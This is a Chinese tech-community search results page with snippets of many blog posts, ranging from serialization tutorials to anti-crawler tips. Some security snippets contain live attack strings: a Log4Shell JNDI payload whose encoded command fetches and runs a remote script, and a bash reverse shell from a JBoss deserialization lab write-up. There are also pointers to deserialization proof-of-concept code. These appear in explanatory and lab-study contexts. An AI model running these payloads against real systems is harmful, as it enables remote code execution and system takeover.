首页
学习
活动
专区
圈层
工具
发布
    • 综合排序
    • 最热优先
    • 最新优先
    时间不限
  • 来自专栏黄腾霄的博客

    2019-4-27-模式之the blob

    设计模式大家都非常了解,不过模式大概很少人听过。 没错,模式顾名思义就是把大家平时在编程,代码设计,项目管理中遇到的各种典型错误归类, 总结出的“高考0分作文” The Blob 介绍 the blob 来源于美国电影幽浮魔点 - 维基百科,自由的百科全书 幽浮魔点 - 维基百科,自由的百科全书 ---- 本文会经常更新,请阅读原文: https://xinyuehtx.github.io/post/%E5%8F%8D%E6%A8%A1%E5%BC%8F%E4%

    50130发布于 2020-06-10
  • 来自专栏明丰随笔

    运行时序列化 4

    不修改某类型的代码,也能重写该类型的对象的序列化和反序列化? 对于很多第三方类库的代码,如果里面的类型没有定义成可序列化的,但是我们也想对其进行序列化操作,我们通过学习本文就可以做到。 应用程序之所以要重写某类型的序列化和反序列化,主要因为以下三个方面: 1. 允许开发人员序列化最初没有设计成可序列化的类型。 2. 允许开发人员提供一种方式将类型的一个版本映射到另一个的版本。 3. 允许开发人员重写默认的序列化逻辑。 为了达到目的,需要做一下几步: 1. 我们需要一个“代理类型”,它会重写目标类型的序列化和反序列化的逻辑。 2. 向格式化器注册“代理类型”和目标类型对应关系。 格式化器对目标类型的实例进行序列化或反序列化,就会调用“代理类型”里面定义的方法。 属性 格式化器的序列化和反序列化会查找SurrogateSelector里面的注册信息,根据查找结果最终决定是否使用序列化代理类来执行序列化的动作 -纸上得来终觉浅,绝知此事要躬行-

    56920发布于 2019-07-22
  • 来自专栏企鹅号快讯

    Python模块知识4序列化Jsonpickle

    序列化与反序列化 序列化:把Python的基本数据类型转为字符串 反序列化:把字符串转为Python的基本数据类型 Python中用于序列化的两个模块: json 用于【字符串】和 【python dict、list、tuple、str、int、flost、True、False pickle 用于【python特有的类型】 和 【python基本数据类型】间进行转换,支持任何类型,更适合所有类型的序列化 open('db','r'))#读文件操作 print(r,type(r)) 执行结果: ['a', 'b'] 案例3:基于天气的API获取天气相关的json 执行结果: 关于pickle的应用: 案例4: acc.pkl','wb')) y=pickle.load(open('acc.pkl','rb')) print("添加新的值",y,type(y)) 案例5-3:对象的pickle使用 案例5-4

    1.3K90发布于 2018-01-11
  • 来自专栏搬砖笔记

    【nginx】代knife4j接口文档

    1.5K30编辑于 2023-06-29
  • 来自专栏不温卜火

    MapReduce快速入门系列(4) | Hadoop序列化

    为什么不用Java的序列化   Java的序列化是一个重量级序列化框架(Serializable),一个对象被序列化后,会附带很多额外的信息(各种校验信息,Header,继承体系等),不便于在网络中高效传输 Hadoop序列化特点: 1.紧凑:高效使用存储空间 2.快速:读写数据的额外开销小 3.可扩展:随着通信协议的升级而可升级 4.互操作:支持多语言的互交 二. (downFlow); out.writeLong(sumFlow); } 4. out.writeLong(upFlow); out.writeLong(downFlow); out.writeLong(sumFlow); } //4 sunFlow.set(sum_upFlow, sum_downFlow); // 3 写出 context.write(key, sunFlow); } } 4.

    81431发布于 2020-10-28
  • 来自专栏White OWL

    Ox4Shell工具-轻松混淆 Log4Shell 有效负载

    描述 自 Log4Shell 漏洞 (CVE-2021-44228) 发布以来,创建了许多工具来混淆 Log4Shell 有效负载,使安全工程师的生活成为一场噩梦。 例如,考虑以下混淆的有效负载: ${jndi:ldap://1.1.1.1:1389/Basic/Command/Base64/KHdnZXQgLU8gLSBodHRwOi8vMTg1LjI1MC4xNDguMTU3OjgwMDUvYWNjfHxjdXJsIC1vIC0gaHR0cDovLzE4NS4yNTAuMTQ4LjE1Nzo4MDA1L2FjYyl8L2Jpbi9iYXNoIA 用法 要简单地运行该工具: ~/Ox4Shell » python ox4shell.py --help usage: ox4shell [-h] [-d] [-m MOCK] [--max-depth 的模拟功能对以下有效负载进行混淆: ~/Ox4Shell >> python ox4shell.py -p "\${jndi:ldap://\${sys:java.version}. 工具下载:https://github.com/ox-eye/Ox4Shell#ox4shell

    62220编辑于 2022-09-27
  • 来自专栏FreeBuf

    如何使用Ox4Shell混淆Log4Shell的Payload

     关于Ox4Shell  Ox4Shell是一款针对Log4Shell Payload代码混淆工具,自从Log4Shell漏洞(CVE-2021-44228)被发现之后,很多工具都开始尝试对Log4Shell 比如说下列经过混淆处理的Payload: ${jndi:ldap://1.1.1.1:1389/Basic/Command/Base64/KHdnZXQgLU8gLSBodHRwOi8vMTg1LjI1MC4xNDguMTU3OjgwMDUvYWNjfHxjdXJsIC1vIC0gaHR0cDovLzE4NS4yNTAuMTQ4LjE1Nzo4MDA1L2FjYyl8L2Jpbi9iYXNoIA on -p PAYLOAD, --payload PAYLOAD 待混淆的单个 (默认: None) -f FILE, --file FILE 包含待混淆的Payload文件路径 (默认: None) (向右滑动、查看更多)  模拟数据  Log4j代码库有几个独特的查询函数,允许用户查找环境变量和Java进程的运行时信息等。 的模拟数据能力来对下列Payload进行混淆处理: ~/Ox4Shell >> python ox4shell.py -p "\${jndi:ldap://\${sys:java.version}.

    98730编辑于 2023-03-30
  • 来自专栏安全小圈

    log4j反序列化漏洞分析

    但该漏洞遇到的比较少,就算一些cms中log4j组件版本存在漏洞,该漏洞需要使用SimpleSocketServer开启端口才能够接受socket中的数据进行反序列化操作,从而才能利用。 漏洞版本:CVE-2019-17571 1.2.4 <= Apache Log4j <= 1.2.17 漏洞原因是因为调用SimpleSocketServer.main开启一个端口,进行接受数据,进行反序列化操作 0x02 log4j 反序列化分析 漏洞复现 配置漏洞代码 import org.apache.log4j.net.SimpleSocketServer; public class log4j { 由于比较少见,反序列化回显暂不构造。 github地址:https://github.com/nice0e3/log4j_POC 动动小手点点start 0x04 结尾 log4j的反序列化漏洞比较简单,而类似于这种反序列化工具原理其实差不多

    3K30发布于 2021-05-28
  • 来自专栏Naraku的专栏

    Java安全-反序列化-4-CC6

    先创建一个HashSet对象 HashSet hashSet = new HashSet(1); hashSet.add("test"); 跟进看一下,发现在readObject方法中会对输入流s进行反序列化 e = (E) s.readObject(); map.put(e, PRESENT); } } 然后再看writeObject方法,发现存在逻辑通过for循环来对keySet中的元素进行序列化 for (E e : map.keySet()) s.writeObject(e); } 序列化 如果想要控制key元素,那么首先要获取到map这个对象,才能对key进行操作 Field#get key"); key.setAccessible(true); // 设置tiedMap为Node对象的Key key.set(node, tiedMap); 触发漏洞 最后再对hashSet对象进行序列化 ,并模拟反序列化场景来触发漏洞 // Serialization ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream

    65430编辑于 2022-04-26
  • 来自专栏网络安全攻防

    JBoss 4.x JBossMQ JMS反序列化

    影响范围 JBoss AS <=4.x 漏洞概述 在JBoss AS 4.x及之前版本的JbossMQ实现过程中,JMS over HTTP Invocation Layer的HTTPServerILServlet.java 文件存在反序列化漏洞,远程攻击者可构造序列化数据利用该漏洞来执行任意代码并获取服务器端的权限 环境搭建 在这里我们使用Vulhub来构建环境: docker compose up -d 环境启动后访问地址为 tools/runtime-exec /bin/bash -i >& /dev/tcp/192.168.204.144/4444<&1 bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMjA0LjE0NC80NDQ0PCYx -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMjA0LjE0NC80NDQ0PCYx}|{base64,-d}|{bash,-i}" > 1 ,存在反序列化漏洞: /jbossmq-httpil/HTTPServerILServlet/* 参考链接 https://github.com/joaomatosf/JavaDeserH2HC

    41510编辑于 2025-01-22
  • 来自专栏大内老A

    我的WCF之旅(4):WCF中的序列化

    首先我们还是来看一个例子,通过比较Managed Type的结构和生成的XML的结构来总结这种序列化方式采用的是怎样的一种Mapping方式。  order);                 }             }             Process.Start(fileName);         } 调用上面定义的方法,生成序列化的 只有Public Field和可读可写得Proppery才会被序列化到XML中——比如定义在XMLProduct中的internal string ProducingArea没有出现在XML中。 可以通过XmlIgnore attribute阻止对象成员被序列化。 基于上面这些,我们重新定义了XMLProduct和XMLOrder。 > <XMLOrder id="9a0bbda<em>4</em>-1743-4398-bc<em>4</em>f-ee216e02695b" xmlns="http://artech.wcfSerialization/Samples/Order

    889110发布于 2018-01-16
  • 来自专栏小工匠聊架构

    Redis - RedisTemplate及4序列化方式深入解读

    看看4序列化相关的属性 ,主要是 用于 KEY 和 VALUE 的序列化 。 ---- RedisSerializer 序列化 接口 RedisSerializer接口 是 Redis 序列化接口,用于 Redis KEY 和 VALUE 的序列化 ? 归类一下 JDK 序列化方式 (默认) String 序列化方式 JSON 序列化方式 XML 序列化方式 ---- JDK 序列化方式 (默认) org.springframework.data.redis.serializer.JdkSerializationRedisSerializer VALUE 被序列化成这样,除了阅读可能困难一点,不支持跨语言外,实际上也没还OK。不过,实际线上场景,还是使用 JSON 序列化居多。 我们来思考下,在将一个对象序列化成一个字符串,怎么保证字符串反序列化成对象的类型呢?

    16.4K53发布于 2021-08-17
  • 来自专栏量子位

    GPT-4不服被Bard超:最新模型已入场

    西风 发自 凹非寺 量子位 | 公众号 QbitAI “大模型排位赛”权威榜单Chatbot Arena刷新: 谷歌Bard超越GPT-4,排名位居第二,仅次于GPT-4 Turbo。 并且直接@了OpenAI和Bing以及微软高管Mikhail Parakhin,表示非常乐意在竞技场中加入GPT-4联网版或Bing Copilot。 最新消息是,OpenAI的最新模型gpt-4-0125-preview现已入驻竞技场,等待用户参与投票。 Bard超越GPT-4是怎么回事? 根据当前榜单,竞技场中有56个大模型: 此前GPT-4凭借“遥遥领先”的评分,长期霸榜,然而新版Bard发布后,直接超越GPT-4的两个版本冲到了第二名,和第一名的GPT-4 Turbo只差34分: 更详细一点 相较而言,GPT-4 Turbo的票数已经达到了30000+,被超越的两个版本的票数也都是Bard的数倍。

    24010编辑于 2024-01-31
  • 来自专栏大内老A

    我的WCF之旅(4):WCF中的序列化

    4.        所以对象在XML的输出顺序是按照字母排序。 5.        所有成员的Elelement 名称为成员名称。 6.        对象的成员只能以XML Element的形式被序列化4.        7767-4ed4-bdf8-033e99c00a64</id>   <date>2007-03-09T00:00:00+08:00</date>   <product xmlns:a="http:// 所以这就对Serializer提出了要求——它必须为Managed Type的结构和XML的结构提供可逆性的保证——我们把一个.NET Object<em>序列化</em>成一组XML,然后对这组XML进行反<em>序列化</em>重建的对象必须和原来一致 ,把它反<em>序列化</em>成DataContractOrder 对象,看它的内容是否和原来一样。

    1.1K110发布于 2018-01-16
  • 来自专栏若梦博客

    利用nginx爬虫-UA

    Nginx配置 if ($http_user_agent ~* (Scrapy|Curl|HttpClient)) { return 403; } # UA if ($http_user_agent ~ "Bytespider|FeedDemon|JikeSpider|Indy Library|Alexa Toolbar|AskTbFXTV|AhrefsBot|CrawlDaddy|CoolpadWebkit|Java|Feedly|UniversalFeedParser|Apach

    2K10编辑于 2022-04-01
  • 来自专栏前端技术江湖

    Web 爬虫实践与爬虫破解

    因为当时也有一些爬机制,但都是比较容易被绕过的。所以这次做了下升级,采用自定义字体的方式来爬。 本文就简单分享下如何用自定义字体来实现爬虫。 font-face 爬虫 实现原理 网页内的文字,如中文、英文、数字等,这些内容的显示都是按照具体的字体来进行显示(绘制)的。 目前谁在用 看下目前谁在用这种爬方案,使用者较多,只列2个大家比较熟悉的吧 大众点评 对详情页面的敏感的数字和评论内容做了爬 ? 猫眼 ? 爬虫破解 上面介绍的爬虫方案也不能100%防止页面内容不被爬,而是提高了爬虫爬取的难度。 说说如何破解? 总结 本文主要是介绍下自己实际中如何进行爬虫以及爬虫的实施方案。 目前Headless Browser这货这么牛逼,一般的反扒基本上都是纸老虎。

    2.8K22发布于 2020-03-17
  • 来自专栏BestSDK

    4个核心要点揭开爬虫真面目,小心被爬!

    那么,公司到底有什么样的需求,导致了我们真的需要爬虫/爬虫呢?   爬虫很好理解,有了爬虫我们自然要爬虫。对于程序员来说,哪怕仅仅是出于“我就是要证明我技术比你好”的目的,也会去做。 L   以上是爬虫与爬虫的历史。   一、爬虫爬虫运行现状   电子商务行业的爬虫与爬虫更有趣一些,最初的爬虫需求来源于比价。    不好意思,这是中国联通的4G网络,5分钟之前还是别人,5分钟之后就换人了哦!   因此,封IP的误伤指数最高。并且,效果又是最差的。因为现在即使是最菜的新手,也知道用代理池了。 这个系统甚至可以改名叫做“每天一道爬题,轻轻松松学前端”。   4、误伤,还是误伤   这又回到了我们开始提到的“误伤率”的问题了。我们知道,发布越频繁,出问题的概率越高。 爬虫,在对方足够低调的情况下,注定还是个技术活。   4、搞事情,立Flag   到了后来,我们已经不再局限于打打技术了。

    1.9K50发布于 2018-03-01
  • 来自专栏玖叁叁

    Python序列化-序列化和反序列化

    使用 JSON 模块将 Python 对象转换为 JSON 格式的字符串非常简单,只需调用 json.dumps() 函数并传递要序列化的 Python 对象即可。

    1.2K40编辑于 2023-04-18
  • 来自专栏全栈程序员必看

    Java安全之log4j反序列化漏洞分析

    Java安全之log4j反序列化漏洞分析 0x00 前言 前段时间在看某个cms代码的时候,发现log4j组件版本存在漏洞,并且开启了端口,但web站点是nginx反向代理的,而在外网并没有开放到该端口 但该漏洞遇到的比较少,就算一些cms中log4j组件版本存在漏洞,但是该漏洞需要使用SimpleSocketServer开启端口才能够接受socket中的数据进行反序列化操作,从而才能利用。 漏洞版本:CVE-2019-17571 1.2.4 <= Apache Log4j <= 1.2.17 漏洞原因是因为调用SimpleSocketServer.main开启一个端口,进行接受数据,进行反序列化操作 0x02 log4j 反序列化分析 漏洞复现 配置漏洞代码 import org.apache.log4j.net.SimpleSocketServer; public class log4j { github地址:https://github.com/nice0e3/log4j_POC 动动小手点点star 0x04 结尾 log4j的反序列化漏洞比较简单,而类似于这种反序列化工具原理其实差不多

    1.1K40编辑于 2021-12-13
  • 来自专栏科技云报道

    大数据算法,“”的究竟是什么?丨科技云·视角

    谁在“”大数据 全世界都不想错过大数据带来的技术变革,大量企业都希望通过大数据搅动市场,占据市场先机。意外的是,大数据、算法的企业也开始获得发展机会,得到资本市场的认可,大数据堪称“双刃剑”。 相比较而言,社交和研究网站Are.na算法更加彻底。既没有广告,也没有算法追踪,在该网站上收藏的内容与流行度无关,也没有点赞的按钮。 这一套与Facebook和Twitter相反的社交玩法,虽然总用量不高,但月增长率达20%。 事实上,国内社交媒体也有类似的算法功能给用户带来困扰。 大数据、算法和社交现象的出现,用户更多不是反对新技术,而是对新技术应用不足的不满。 至于大数据当前的应用,首当其冲的问题是大数据“太蠢”。 大数据和算法的出现是一个提醒。我们面对大数据技术,就像是刚刚获得超能力的超级英雄,不知道这个能力究竟有多大威力,不清楚不同情况该使用多少超能力。

    77330编辑于 2022-04-14
领券